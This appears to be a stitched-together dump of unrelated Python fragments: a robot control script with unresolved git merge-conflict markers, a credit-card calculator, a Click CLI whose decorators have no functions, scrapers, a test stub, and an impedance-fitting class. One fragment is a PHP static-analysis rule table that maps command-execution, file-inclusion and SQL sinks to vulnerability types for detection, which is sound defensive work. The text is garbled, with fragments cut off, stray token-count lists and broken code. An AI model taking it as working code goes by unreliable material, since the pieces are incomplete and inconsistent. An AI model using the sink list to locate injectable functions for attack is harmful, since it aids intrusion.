def set_global_atts(infile, outfile):
"""Set the global attributes for outfile.
Note that the global attributes are simply copied from infile.
"""
global_atts = {}
for att in infile.ncattrs():
global_atts[att] = eval('infile.'+att)
# set attributes
outfile.setncatts(global_atts)
if __name__ == "__main__":
main(verbose=VERBOSE, debug=DEBUG)
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] | 2.449927 | 1,378 |
<<<<<<< HEAD
import time
import numpy as np
import Adafruit_BBIO.PWM as PWM
from PixyCam import PixyCam
from imu import Imu
from servo import Servo
from wheel import Wheel
from classes import State
import constants as cons
import threading
#import logging
import sys
from queue import LifoQueue
count =0
ball_status_new = 0
ball_status_old = 0
stop_threads = False
BUF_SIZE = 5
imuQueue = LifoQueue(BUF_SIZE)
camQueue = LifoQueue(BUF_SIZE)
wheelQueue = LifoQueue(BUF_SIZE)
servoQueue = LifoQueue(BUF_SIZE)
'''
wheel_leftQueue = LifoQueue(BUF_SIZE)
wheel_rightQueue = LifoQueue(BUF_SIZE)
servo_leftQueue = LifoQueue(BUF_SIZE)
servo_rightQueue = LifoQueue(BUF_SIZE)
'''
# estimate real ball motion and important information about it in relation to the ground
# decide how to handle the ball
if __name__ == '__main__':
try:
killpill = False
#start_thread_2()
inputThread = Input()
inputThread.daemon = True
inputThread.start()
processingThread = Processing()
processingThread.daemon = True
processingThread.start()
servoThread = Servos()
servoThread.daemon = True
servoThread.start()
wheelThread = Wheels()
wheelThread.daemon = True
wheelThread.start()
input("killpill activ with enter: ")
killpill = True
inputThread.join()
processingThread.join()
servoThread.join()
wheelThread.join()
#stop_threads()
except KeyboardInterrupt:
exit(0)
=======
import time
import numpy as np
import Adafruit_BBIO.PWM as PWM
from PixyCam import PixyCam
from imu import Imu
from servo import Servo
from wheel import Wheel
from classes import State
import constants as cons
import threading
#import logging
import sys
from queue import LifoQueue
count =0
ball_status_new = 0
ball_status_old = 0
stop_threads = False
BUF_SIZE = 1
imuQueue = LifoQueue(BUF_SIZE)
camQueue = LifoQueue(BUF_SIZE)
wheelQueue = LifoQueue(BUF_SIZE)
servoQueue = LifoQueue(BUF_SIZE)
'''
wheel_leftQueue = LifoQueue(BUF_SIZE)
wheel_rightQueue = LifoQueue(BUF_SIZE)
servo_leftQueue = LifoQueue(BUF_SIZE)
servo_rightQueue = LifoQueue(BUF_SIZE)
'''
# estimate real ball motion and important information about it in relation to the ground
# decide how to handle the ball
if __name__ == '__main__':
try:
killpill = False
#start_thread_2()
inputThread = Input()
inputThread.daemon = True
inputThread.start()
processingThread = Processing()
processingThread.daemon = True
processingThread.start()
servoThread = Servos()
servoThread.daemon = True
servoThread.start()
wheelThread = Wheels()
wheelThread.daemon = True
wheelThread.start()
input("killpill activ with enter: ")
killpill = True
inputThread.join()
processingThread.join()
servoThread.join()
wheelThread.join()
#stop_threads()
except KeyboardInterrupt:
exit(0)
>>>>>>> 445b4960d9388eb4f7ccd9801c006dc5d07d1921
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] | 2.516908 | 1,242 |
# -*- coding: utf-8 -*-
# Copyright 2013 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import itertools
import netaddr
import six
from nailgun import consts
from nailgun.db import db
from nailgun.db.sqlalchemy import models
from nailgun.logger import logger
from nailgun.network.manager import AllocateVIPs70Mixin
from nailgun.network.manager import AllocateVIPs80Mixin
from nailgun.network.manager import AssignIPs61Mixin
from nailgun.network.manager import AssignIPs70Mixin
from nailgun.network.manager import AssignIPsLegacyMixin
from nailgun.network.manager import NetworkManager
from nailgun import objects
from nailgun.orchestrator.neutron_serializers import \
NeutronNetworkTemplateSerializer70
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] | 3.306283 | 382 |
import itertools
import numpy as np
from scipy.sparse.csgraph import shortest_path
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from encrypt import Encrypt
import json
Encrypt = Encrypt()
if __name__ == '__main__':
payload_encryption_test()
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#Author-Sterling Crispin
#Description-directly adapted from http://help.autodesk.com/view/fusion360/ENU/?guid=GUID-c3d4a306-fade-11e4-8e56-3417ebd3d5be
import adsk.core, adsk.fusion, traceback
import math | [
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"""
Description :
A program to calculate the credit card balance after one year if a person only pays the minimum monthly payment
required by the credit card company each month.
balance - the outstanding balance on the credit card
annualInterestRate - annual interest rate as a decimal
monthlyPaymentRate - minimum monthly payment rate as a decimal
Monthly interest rate= (Annual interest rate) / 12.0
Monthly unpaid balance = (Previous balance) - (Minimum monthly payment)
Updated balance each month = (Monthly unpaid balance) + (Monthly interest rate x Monthly unpaid balance)
"""
balance = 320000
annualInterestRate = 0.2
monthly_interest_rate = annualInterestRate/12
lower_fixed = balance/12
upper_fixed = balance * (1 + monthly_interest_rate)**12 / 12.0
fixed = 0
unpaid_balance = 0
balance_copy = balance
while True:
balance_copy = balance
fixed = (lower_fixed+upper_fixed)/2
for i in range(12):
# min_monthly_payment = monthlyPaymentRate * balance
unpaid_balance = balance_copy - fixed
balance_copy = unpaid_balance + monthly_interest_rate * unpaid_balance
if balance_copy > 0.01: lower_fixed = fixed
elif balance_copy < 0: upper_fixed = fixed
else: break
print round(fixed,2) | [
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] | 3.425414 | 362 |
import pytest
from wod_board import exceptions
from wod_board.crud import movement_crud
from wod_board.models import movement
from wod_board.models import unit
from wod_board.schemas import movement_schemas
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#!/usr/bin/python
# -*- coding: utf-8 -*-
# /!\ Detection Format (.*)function($vuln)(.*) matched by payload[0]+regex_indicators
regex_indicators = '\\((.*?)(\\$_GET\\[.*?\\]|\\$_FILES\\[.*?\\]|\\$_POST\\[.*?\\]|\\$_REQUEST\\[.*?\\]|\\$_COOKIES\\[.*?\\]|\\$_SESSION\\[.*?\\]|\\$(?!this|e-)[a-zA-Z0-9_,]*)(.*?)\\)'
# Function_Name:String, Vulnerability_Name:String, Protection_Function:Array
payloads = [
# Remote Command Execution
["eval", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["popen", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["system", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["passthru", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["exec", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["shell_exec", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["pcntl_exec", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["assert", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["proc_open", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["expect_popen", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["create_function", "Remote Command Execution", ["escapeshellarg", "escapeshellcmd"]],
["call_user_func", "Remote Code Execution", []],
["call_user_func_array", "Remote Code Execution", []],
["preg_replace", "Remote Command Execution", ["preg_quote"]],
["ereg_replace", "Remote Command Execution", ["preg_quote"]],
["eregi_replace", "Remote Command Execution", ["preg_quote"]],
["mb_ereg_replace", "Remote Command Execution", ["preg_quote"]],
["mb_eregi_replace", "Remote Command Execution", ["preg_quote"]],
# File Inclusion / Path Traversal
["virtual", "File Inclusion", []],
["include", "File Inclusion", []],
["require", "File Inclusion", []],
["include_once", "File Inclusion", []],
["require_once", "File Inclusion", []],
["readfile", "File Inclusion / Path Traversal", []],
["file_get_contents", "File Inclusion / Path Traversal", []],
["stream_get_contents", "File Inclusion / Path Traversal", []],
["show_source", "File Inclusion / Path Traversal", []],
["fopen", "File Inclusion / Path Traversal", []],
["file", "File Inclusion / Path Traversal", []],
["fpassthru", "File Inclusion / Path Traversal", []],
["gzopen", "File Inclusion / Path Traversal", []],
["gzfile", "File Inclusion / Path Traversal", []],
["gzpassthru", "File Inclusion / Path Traversal", []],
["readgzfile", "File Inclusion / Path Traversal", []],
# MySQL(i) SQL Injection
["mysql_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysqli_multi_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysqli_send_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysqli_master_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysqli_master_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysql_unbuffered_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysql_db_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysqli::real_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysqli_real_query", "SQL Injection", ["mysql_real_escape_string"]],
["mysqli::query", "SQL Injection", ["mysql_real_escape_string"]],
["mysqli_query", "SQL Injection", ["mysql_real_escape_string"]],
# PostgreSQL Injection
["pg_query", "SQL Injection", ["pg_escape_string", "pg_pconnect", "pg_connect"]],
["pg_send_query", "SQL Injection", ["pg_escape_string", "pg_pconnect", "pg_connect"]],
# SQLite SQL Injection
["sqlite_array_query", "SQL Injection", ["sqlite_escape_string"]],
["sqlite_exec", "SQL Injection", ["sqlite_escape_string"]],
["sqlite_query", "SQL Injection", ["sqlite_escape_string"]],
["sqlite_single_query", "SQL Injection", ["sqlite_escape_string"]],
["sqlite_unbuffered_query", "SQL Injection", ["sqlite_escape_string"]],
# PDO SQL Injection
["->arrayQuery", "SQL Injection", ["->prepare"]],
["->query", "SQL Injection", ["->prepare"]],
["->queryExec", "SQL Injection", ["->prepare"]],
["->singleQuery", "SQL Injection", ["->prepare"]],
["->querySingle", "SQL Injection", ["->prepare"]],
["->exec", "SQL Injection", ["->prepare"]],
["->execute", "SQL Injection", ["->prepare"]],
["->unbufferedQuery", "SQL Injection", ["->prepare"]],
["->real_query", "SQL Injection", ["->prepare"]],
["->multi_query", "SQL Injection", ["->prepare"]],
["->send_query", "SQL Injection", ["->prepare"]],
# Cubrid SQL Injection
["cubrid_unbuffered_query", "SQL Injection", ["cubrid_real_escape_string"]],
["cubrid_query", "SQL Injection", ["cubrid_real_escape_string"]],
# MSSQL SQL Injection : Warning there is not any real_escape_string
["mssql_query", "SQL Injection", ["mssql_escape"]],
# File Upload
["move_uploaded_file", "File Upload", []],
# Cross Site Scripting
["echo", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["print", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["printf", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["vprintf", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["trigger_error", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["user_error", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["odbc_result_all", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["ifx_htmltbl_result", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["die", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
["exit", "Cross Site Scripting", ["htmlentities", "htmlspecialchars"]],
# XPATH and LDAP
["xpath", "XPATH Injection", []],
["ldap_search", "LDAP Injection", ["Zend_Ldap", "ldap_escape"]],
# Insecure E-Mail
["mail", "Insecure E-mail", []],
# PHP Objet Injection
["unserialize", "PHP Object Injection", []],
# Header Injection
["header", "Header Injection", []],
["HttpMessage::setHeaders", "Header Injection", []],
["HttpRequest::setHeaders", "Header Injection", []],
# URL Redirection
["http_redirect", "URL Redirection", []],
["HttpMessage::setResponseCode", "URL Redirection", []],
# Server Side Template Injection
["->render", "Server Side Template Injection", []],
["->assign", "Server Side Template Injection", []],
# Weak Cryptographic Hash
["md5", "Weak Cryptographic Hash", []],
# Insecure Weak Random
["mt_rand", "Insecure Weak Random", []],
["srand", "Insecure Weak Random", []],
["uniqid", "Insecure Weak Random", []],
# Information Leak
["phpinfo", "Information Leak", []],
["show_source", "Information Leak", []],
["highlight_file", "Information Leak", []],
]
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] | 2.765674 | 2,552 |
from __future__ import absolute_import
import logging
import click
logger = logging.getLogger(__name__)
@click.group(short_help="Interact with engines.")
@engine.group(short_help="Interact with engine's votes.")
@engine.group(short_help="Interact with engine's assertions.")
@assertions.command('create', short_help='Create a new bundle with the consolidated assertions data.')
@click.argument('engine-id', type=click.STRING)
@click.argument('date-start', type=click.STRING)
@click.argument('date-end', type=click.STRING)
@click.pass_context
def assertions_create(ctx, engine_id, date_start, date_end):
"""
Create a new bundle with the consolidated assertions data for the provided
period of time.
"""
api = ctx.obj['api']
output = ctx.obj['output']
result = api.assertions_create(engine_id, date_start, date_end)
output.assertions(result)
@assertions.command('get', short_help='Get an assertions bundle.')
@click.argument('assertions-job-id', type=click.INT)
@click.pass_context
def assertions_get(ctx, assertions_job_id):
"""
Get the assertions bundle for the given bundle id.
"""
api = ctx.obj['api']
output = ctx.obj['output']
result = api.assertions_get(assertions_job_id)
output.assertions(result)
@assertions.command('delete', short_help='Delete an assertions bundle.')
@click.argument('assertions-job-id', type=click.INT)
@click.pass_context
def assertions_delete(ctx, assertions_job_id):
"""
Delete the assertions bundle for the given bundle id.
"""
api = ctx.obj['api']
output = ctx.obj['output']
result = api.assertions_delete(assertions_job_id)
output.assertions(result)
@assertions.command('list', short_help='List all assertions bundles for the given engine.')
@click.argument('engine-id', type=click.STRING)
@click.pass_context
@votes.command('create', short_help='Create a new bundle with the consolidated votes data.')
@click.argument('engine-id', type=click.STRING)
@click.argument('date-start', type=click.STRING)
@click.argument('date-end', type=click.STRING)
@click.pass_context
def votes_create(ctx, engine_id, date_start, date_end):
"""
Create a new bundle with the consolidated votes data for the provided
period of time.
"""
api = ctx.obj['api']
output = ctx.obj['output']
result = api.votes_create(engine_id, date_start, date_end)
output.votes(result)
@votes.command('get', short_help='Get a votes bundle.')
@click.argument('votes-job-id', type=click.INT)
@click.pass_context
def votes_get(ctx, votes_job_id):
"""
Get the votes bundle for the given bundle id.
"""
api = ctx.obj['api']
output = ctx.obj['output']
result = api.votes_get(votes_job_id)
output.votes(result)
@votes.command('delete', short_help='Delete a votes bundle.')
@click.argument('votes-job-id', type=click.INT)
@click.pass_context
def votes_delete(ctx, votes_job_id):
"""
Delete the votes bundle for the given bundle id.
"""
api = ctx.obj['api']
output = ctx.obj['output']
result = api.votes_delete(votes_job_id)
output.votes(result)
@votes.command('list', short_help='List all votes bundles for the given engine.')
@click.argument('engine-id', type=click.STRING)
@click.pass_context
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] | 2.909494 | 1,127 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#Copyright 2015 RAPP
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at
#http://www.apache.org/licenses/LICENSE-2.0
#Unless required by applicable law or agreed to in writing, software
#distributed under the License is distributed on an "AS IS" BASIS,
#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#See the License for the specific language governing permissions and
#limitations under the License.
# Authors: Konstantinos Panayiotou, Manos Tsardoulias
# contact: [email protected], [email protected]
import sys
import os
import time
import argparse
from os import listdir
from os.path import isfile, join
import importlib
from threading import Thread, Lock
# import roslib
import rospkg
import rospy
import yaml
import subprocess
__path__ = os.path.dirname(os.path.realpath(__file__))
# Mutex lock used when threaded.
mutex = Lock()
## --------- Test Classess ---------- ##
testClasses = [
'face-detection',
'qr-detection',
'speech-detection',
'speech-detection-sphinx4',
'speech-detection-google',
'ontology',
'cognitive',
'tts'
]
## --------------------------------- ##
testClassMatch = {
'face-detection' : 'face',
'qr-detection' : 'qr',
'speech-detection' : 'speech',
'speech-detection-sphinx4' : 'sphinx4',
'speech-detection-google' : 'google',
'ontology' : 'ontology',
'cognitive': 'cognitive',
'tts': 'text_to_speech'
}
results = {
'success' : [],
'failed' : [],
'num_tests': 0
}
## ------------- Console colors -------------- ##
## ------------------------------------------ ##
##
# @brief Parse input arguments.
##
##
# @brief Parse and get all given tests path directories, plus the default
# ones.
#
# @return Array of tests paths.
##
##
# @brief Append directory paths, given as input into the global system path.
# This is usefull in order to load test files under those directories.
##
##
# @brief Parse input paths and export found test files.
#
# @param args Arguments.
# @param paths Path directories to look for test files.
#
##
# @brief Load and execute input given tests.
#
# @param tests List of tests to execute.
# @param numCalls Number of executions.
# @param threaded If true the execution is handled by threads.
#
##
##
# @brief Main.
##
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220,
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13,
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] | 2.957295 | 843 |
""""""
# Standard library modules.
import abc
from collections import namedtuple
import itertools
# Third party modules.
from qtpy import QtCore, QtGui, QtWidgets
import numpy as np
# Local modules.
from pymontecarlo.options.beam.base import BeamBase
from pymontecarlo.options.particle import Particle
from pymontecarlo.util.tolerance import tolerance_to_decimals
from pymontecarlo_gui.widgets.field import (
MultiValueFieldBase,
FieldBase,
WidgetFieldBase,
FieldChooser,
)
from pymontecarlo_gui.widgets.lineedit import (
ColoredMultiFloatLineEdit,
ColoredFloatLineEdit,
)
from pymontecarlo_gui.options.base import ToleranceMixin
# Globals and constants variables.
Position = namedtuple("Position", ("x_m", "y_m"))
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] | 2.915709 | 261 |
from __future__ import division, print_function, absolute_import
import numpy as np
from . import phys
import os
'''
Implement UV scattering cross-sections.
Either data or fits.
'''
### -----------------------------------
### Global definitions here
### -----------------------------------
### Absorption crosssection for CO2
### based on eqn 6 in Venot+ (2013).
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] | 4.077778 | 90 |
# Full Moon Damage Skin
success = sm.addDamageSkin(2434574)
if success:
sm.chat("The Full Moon Damage Skin has been added to your account's damage skin collection.")
# sm.consumeItem(2434574)
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13,
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464,
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6869,
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468,
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284,
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1303,
895,
13,
5936,
2454,
7449,
7,
26660,
2231,
4524,
8,
198
] | 3.225806 | 62 |
#!/usr/local/bin/python
# coding:utf-8
from urllib import urlopen
from urllib import urlretrieve
import json
import sys
import os
import zipfile
import shutil
import multiprocessing
# returns the URL to download the user submission
# scrapes the C/C++/Python files of the given round
# main section of script
if __name__ == '__main__':
script_path = os.path.dirname(os.path.realpath(__file__))
metadatafile = open(script_path + "/CodeJamMetadata.json").read()
metadata = json.loads(metadatafile)
# loop through years
for year_json in metadata['competitions']:
year = year_json['year']
# loop through rounds
for round_json in year_json['round']:
round_id = round_json['contest']
problems = round_json['problems']
# run scraper on current round
scraper = multiprocessing.Process(target=scrape, args=(round_id, problems, script_path))
scraper.start()
| [
2,
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220,
220,
220,
220,
220,
220,
19320,
525,
13,
9688,
3419,
198
] | 2.686275 | 357 |
from datetime import datetime
from os.path import dirname, join
import re
import pytest
from freezegun import freeze_time
from city_scrapers_core.constants import NOT_CLASSIFIED
from city_scrapers_core.utils import file_response
from city_scrapers.spiders.il_medicaid import IlMedicaidSpider
test_response = file_response(
join(dirname(__file__), "files", "il_medicaid.html"),
url="https://www.illinois.gov/hfs/About/BoardsandCommisions/MAC/Pages/default.aspx",
)
spider = IlMedicaidSpider()
freezer = freeze_time("2019-05-20")
freezer.start()
parsed_items = [item for item in spider.parse(test_response)]
freezer.stop()
# def test_tests():
# print("Please write some tests for this spider or at least disable this one.")
# assert False
"""
Uncomment below
"""
# def test_description():
# assert parsed_items[0]["description"] == "EXPECTED DESCRIPTION"
# def test_start():
# assert parsed_items[0]["start"] == datetime(2019, 1, 1, 0, 0)
# def test_end():
# assert parsed_items[0]["end"] == datetime(2019, 1, 1, 0, 0)
# def test_time_notes():
# assert parsed_items[0]["time_notes"] == "EXPECTED TIME NOTES"
# def test_id():
# assert parsed_items[0]["id"] == "EXPECTED ID"
# def test_status():
# assert parsed_items[0]["status"] == "EXPECTED STATUS"
# def test_location():
# assert parsed_items[0]["location"] == {
# "name": "EXPECTED NAME",
# "address": "EXPECTED ADDRESS"
# }
# def test_source():
# assert parsed_items[0]["source"] == "EXPECTED URL"
# def test_links():
# assert parsed_items[0]["links"] == [{
# "href": "EXPECTED HREF",
# "title": "EXPECTED TITLE"
# }]
# def test_classification():
# assert parsed_items[0]["classification"] == NOT_CLASSIFIED
# @pytest.mark.parametrize("item", parsed_items)
# def test_all_day(item):
# assert item["all_day"] is False
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] | 2.62379 | 723 |
import sys
sys.path.append('../')
import numpy as np
import math
import copy
import os
from circuits.elements import ele_C, ele_L
from IS.IS import IS_0
from IS.IS_criteria import cal_ChiSquare_0
from utils.file_utils.pickle_utils import pickle_file
from utils.visualize_utils.IS_plots.ny import nyquist_multiPlots_1, nyquist_plot_1
class Vogit_3:
"""
Refer
papers:
paper1: A Linear Kronig-Kramers Transform Test for Immittance Data Validation
paper0: A Method for Improving the Robustness of linear Kramers-Kronig Validity Tests
Note:
Vogit 最基本的电路为
Rs-M*(RC)-[Cs]-Ls
Ls: inductive effects are considered byadding an additional inductivity [1]
Cs:
option to add a serial capacitance that helps validate data with no low-frequency intercept
due to their capacitive nature an additional capacityis added to the ECM.
1- 只考虑 complex / imag / real -fit中的complex-fit
2- 三种加权方式只考虑 modulus
3- add Capacity / Inductance 中 只考虑 add Capacity
Version:
v3:
更新2：取消手动设置M的选择，合理设置M的上限，达到上限在停止
更新1：仿照《Impedance.py》构造Ax=Y，直接求解
class vogit的前两个版本在 \dpfc_src\circuits\vogit_0.py 中，都不好使
v2: 之前的Vogit中没有加入电感L，在这一版本中加上
"""
def __init__(self, impSpe, fit_type='complex', u_optimum=0.85, add_C=False, M_max=None):
"""
因为Vogit是一个measurement model，所以使用vogit之前一定会传进来一个IS
:param
impSpe: IS cls
fit_type: str
'real',
'imag',
'complex',
M: int
number of (RC)
w: list(float)
RC_para_list:[
[R0, C0],
[R1, C1],
...
[Rm-1, Cm-1],
]
Rs: float
add_C: Bool
"""
self.impSpe = impSpe
self.w_arr = self.impSpe.w_arr
self.z_arr = self.impSpe.z_arr
self.fit_type = fit_type
self.u_optimum = u_optimum
self.add_C = add_C
self.M = 1
if (M_max is not None) and (type(M_max) == int):
self.M_max = M_max
else:
self.get_Mmax()
def get_Mmax(self):
"""
M_max 设置条件
condition 1- Paper1: As a rule of thumb we can conclude that, for the single fit and transformation, the v range should be
equal to the inverse w range with a distribution of 6 or 7 Tcs per decade. 在这里再稍微取的更大一些 8 * decades
condition 2- 在Vogit 单独使用 实部/虚部拟合时，由于系数矩阵A (row col) 要求 rol=tested points > col=number of parameters
"""
# condition 1
M1 = int(math.log10(self.w_arr.max() / self.w_arr.min())) * 7
# condition 2
num_points = self.w_arr.size
if self.add_C:
M2 = num_points - 3 - 1
else:
M2 = num_points - 2 - 1
self.M_max = min(M1, M2)
def calc_timeConstant(self):
"""
timeConstant = tao = R * C
Refer:
A Method for Improving the Robustness of linear Kramers-Kronig Validity Tests
2.2. Distribution of Time Constants Eq 10-12
:return:
"""
sorted_w_arr = np.sort(copy.deepcopy(self.w_arr)) # small --> big number
w_min, w_max = sorted_w_arr[0], sorted_w_arr[-1]
# Time Constant τ 用 tao表示
tao_min = 1 / w_max
tao_max = 1 / w_min
tao_list = []
if self.M == 1:
tao_list.append(tao_min)
elif self.M == 2:
tao_list.extend([tao_min, tao_max])
elif self.M > 2:
tao_list.append(tao_min)
K = self.M - 1
for i in range(1, K):
tao = 10 ** (math.log10(tao_min) + i * math.log10(tao_max / tao_min) / (self.M - 1))
tao_list.append(tao)
tao_list.append(tao_max)
self.tao_arr = np.array(tao_list)
def update_u(self):
"""
refer paper0-eq21
:return:
"""
if self.fit_type == 'complex':
self.M_R_arr = self.para_arr[1:-2]
positive_R_list = []
negtive_R_list = []
for R in self.M_R_arr:
if R >= 0:
positive_R_list.append(R)
elif R < 0:
negtive_R_list.append(R)
self.u = 1 - abs(sum(negtive_R_list)) / sum(positive_R_list)
def fit_kk(self):
"""
Are/im
N row
M+2 or M+3(with capacity) col
Are
col 0: Rs(w0) / |Z(w0)|, Rs(w1) / |Z(w1)|, Rs(w2) / |Z(w2)|, ..., Rs(w_N-1) / |Z(w_N-1)|
col 1: Z_RCk_0(w0)_re = Rk_0 / {[1+(w0*tao0)**2]*|Z(w0)|},
Z_RCk_0(w1)_re = Rk_0 / {[1+(w1*tao0)**2]*|Z(w1)|}
Z_RCk_0(w2)_re = Rk_0 / {[1+(w2*tao0)**2]*|Z(w2)|},
...,
Z_RCk_0(w_N-1)_re = Rk_0 / {[1+(w_N-1*tao_0)**2]*|Z(w_N-1)|}
...
col k(M): Z_RCk_k(w0)_re = Rk_k / {[1+(w0*taok)**2]*|Z(w0)|},
Z_RCk_k(w1)_re = Rk_k / {[1+(w1*taok)**2]*|Z(w1)|}
Z_RCk_k(w2)_re = Rk_k / {[1+(w2*taok)**2]*|Z(w2)|},
...,
Z_RCk_k(w_N-1)_re = Rk_k / {[1+(w_N-1*tao_k)**2]*|Z(w_N-1)|}
col -2(C): 如果加capacity，它对阻抗实部的贡献为0
0, 0, 0, ..., 0
col -1(L): L对阻抗实部的贡献为0
0, 0, 0, ..., 0
Aim
col 0: Rs(wi)_im = 0, 0,0,0,...,0,0
col 1: Z_RCk_0(w0)_im = (-1 * w0 * Rk_0 * tao0) / {[1+(w0*tao0)**2]*|Z(w0)|},
Z_RCk_0(w1)_im = (-1 * w1 * Rk_0 * tao0) / {[1+(w1*tao0)**2]*|Z(w1)|},
Z_RCk_0(w2)_im = (-1 * w2 * Rk_0 * tao0) / {[1+(w2*tao0)**2]*|Z(w2)|},
...,
Z_RCk_0(w_N-1)_im = (-1 * w_N-1 * Rk_0 * tao0) / {[1+(w_N-1*tao0)**2]*|Z(w0_N-1)|},
...
col k(M):
col -2(C):
col -1(L):
:return:
"""
Are = np.zeros(shape=(self.w_arr.size, self.M + 2))
Aim = np.zeros(shape=(self.w_arr.size, self.M + 2))
if self.add_C:
Are = np.zeros(shape=(self.w_arr.size, self.M + 3))
Aim = np.zeros(shape=(self.w_arr.size, self.M + 3))
# Rs col
Are[:,0] = 1 / np.abs(self.z_arr)
# Aim[:,0] = np.zeros(shape=(self.w_arr.size)) 本来就是0
# RC_1~M col
for i in range(self.M):
Are[:, i+1] = RC(para_arr=np.array([1, self.tao_arr[i]]), w_arr=self.w_arr).real / np.abs(self.z_arr)
Aim[:, i+1] = RC(para_arr=np.array([1, self.tao_arr[i]]), w_arr=self.w_arr).imag / np.abs(self.z_arr)
if self.add_C:
# Are[:, -2] = np.zeros(shape=(self.w_arr.size)) 本来就是0
Aim[:, -2] = -1 / (self.w_arr * np.abs(self.z_arr))
Aim[:, -1] = self.w_arr / np.abs(self.z_arr)
if self.fit_type == 'real':
self.para_arr = np.linalg.pinv(Are).dot(self.z_arr.real / np.abs(self.z_arr))
XLim = np.zeros(shape=(self.w_arr.size, 2))
# 根据paper0-Lin-KK-Eq10 再构造一组方程 求C和L, X= 1/C
# data for L-col
# Aim[:, -1] = self.w_arr / np.abs(self.z_arr)
XLim[:, -1] = self.w_arr / np.abs(self.z_arr)
# data for C-col
if self.add_C:
XLim[:, -2] = -1 / self.w_arr / np.abs(self.z_arr)
# Aim[:, -2] = -1 / self.w_arr / np.abs(self.z_arr)
"""
self.para_arr[-2] = 一个很小的正数 如1e-18 的原因：
在fit_type == 'real'时， self.para_arr = np.linalg.pinv(Are).dot(self.z_arr.real / np.abs(self.z_arr))
得到的 para_arr【-2：】 = 【X，L】 == 【0， 0】，由于下方代码马上需要计算 拟合参数所得的阻抗，计算Cs的阻抗时，
Cs=1/X，因X=0，Cs-》Inf，所有要给X一个必要的、很小的正数，来防止计算上溢
"""
# self.para_arr[-2] = 1e-20
# self.simulate_Z()
# tmp_para_arr = np.linalg.pinv(Aim).dot((self.z_arr.imag - self.z_sim_arr.imag) / np.abs(self.z_arr))
z_vogit_arr = self.simulate_vogit()
XL = np.linalg.pinv(Aim).dot((self.z_arr.imag - z_vogit_arr.imag) / np.abs(self.z_arr))
# self.para_arr[-1] = tmp_para_arr[-1]
self.para_arr[-1] = XL[-1]
if self.add_C:
# self.para_arr[-2] = tmp_para_arr[-2]
self.para_arr[-2] = XL[-2]
elif self.fit_type == 'imag':
self.para_arr = np.linalg.pinv(Aim).dot(self.z_arr.imag / np.abs(self.z_arr))
"""
根据 paper1-lin-KK-Eq7 计算 Rs
Eq7中方括号里的叠加 == Vogit中M个RC的阻抗对于实部的贡献
"""
self.simulate_Z()
weight_arr = 1 / (np.abs(self.z_arr) ** 2)
# paper1-Eq 7
# ValueError: setting an array element with a sequence.
Rs = np.sum(weight_arr * (self.z_arr.real - self.z_sim_arr.real)) / np.sum(weight_arr)
self.para_arr[0] = Rs
elif self.fit_type == 'complex':
A_inv = np.linalg.inv(Are.T.dot(Are) + Aim.T.dot(Aim))
Y = Are.T.dot(self.z_arr.real / np.abs(self.z_arr)) + Aim.T.dot(self.z_arr.imag / np.abs(self.z_arr))
self.para_arr = A_inv.dot(Y)
def simulate_vogit(self):
"""
这里的Vogit是纯的 Rs + M * RC
:return:
"""
self.Rs = self.para_arr[0]
self.M_R_arr = self.para_arr[1: self.M+1]
z_vogit_arr = np.empty(shape=(self.M, self.w_arr.size), dtype=complex)
# Z of M RC
for i, R in enumerate(self.M_R_arr):
z_RC_arr = RC(para_arr=np.array([R, self.tao_arr[i]]), w_arr=self.w_arr)
z_vogit_arr[i, :] = z_RC_arr
z_vogit_arr = z_vogit_arr.sum(axis=0)
z_vogit_arr += self.Rs
return z_vogit_arr
def cal_residual(self):
"""
按照paper0-Eq 15 and Eq 16
residual_arr = Z_arr - Z_sim_arr
:return:
"""
self.simulate_Z()
z_abs_arr = np.abs(self.z_arr)
self.residual_arr = (self.z_arr - self.z_sim_arr) / z_abs_arr
def residual_statistic(self, type):
"""
我定义衡量残差的几种定量标准；
1 残差的绝对值
实部残差的绝对值
虚部残差的绝对值
2 残差的 平方
实部残差的 平方
虚部残差的 平方
:param
type: str
'abs'
'square'
"""
self.cal_residual()
if type == 'abs':
residual_real_abs_arr = np.abs(self.residual_arr.real)
residual_imag_abd_arr = np.abs(self.residual_arr.imag)
return residual_real_abs_arr, residual_imag_abd_arr
elif type == 'square':
residual_real_square_arr = self.residual_arr.real ** 2
residual_imag_square_arr = self.residual_arr.imag ** 2
return residual_real_square_arr, residual_imag_square_arr
